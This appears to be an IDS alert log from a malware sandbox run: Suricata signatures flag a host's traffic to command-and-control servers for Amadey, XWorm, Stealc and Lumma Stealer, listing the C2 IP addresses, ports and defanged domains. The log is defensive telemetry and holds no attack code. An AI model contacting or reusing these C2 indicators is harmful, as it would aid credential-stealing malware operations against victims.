Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50219 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50219 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50219 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.5:50218 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.5:50165 -> 107.189.17.186:7000
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:50165 -> 107.189.17.186:7000
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50221 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50227 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50227 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50227 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50221 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50221 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50225 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50225 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50225 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50230 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.5:50229 -> 104.21.35.43:443
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50230 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50230 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:62695 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:62695 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:50748 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:50748 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:59299 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:59299 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:58135 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:58135 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:64897 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:64897 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:51263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:51263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:52728 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:52728 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:51592 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50231 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:51592 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50231 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50231 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50237 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50237 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50237 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50235 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50235 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50235 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50242 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50242 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50242 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50239 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50239 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50239 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50241 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50241 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50253 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50241 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50253 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50238 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50255 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50261 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50261 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50255 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50261 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50250 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50267 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50267 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50267 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50258 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50262 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50253 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50262 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50270 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50270 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50279 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50287 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50276 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50273 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50273 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50273 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50278 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50265 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50295 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50295 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50278 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50278 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50258 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50287 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50287 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50276 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50276 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50281 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50281 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50274 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50281 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50270 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50288 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50262 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50255 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50295 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50308 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50265 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50290 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50279 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50258 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50317 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50269 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50317 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50288 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50305 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50305 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50308 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50290 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50246 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50246 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50319 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50290 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50319 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50319 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50256 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50256 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50256 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50274 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50274 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50338 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50317 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50324 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50324 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50303 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50303 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50305 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50328 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50265 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50308 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50352 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50279 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50352 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50293 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50293 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50293 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50320 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50269 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50320 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50320 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50303 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50328 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50285 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50285 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50352 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50337 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50337 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50269 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50314 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50288 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50338 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50347 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50347 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50347 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50328 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50371 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50371 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50371 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50300 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50246 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50311 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50325 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50311 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50285 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50325 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50325 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50337 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50324 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50327 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50300 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50300 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50311 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50314 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50314 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50410 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50410 -> 185.81.68.147:80
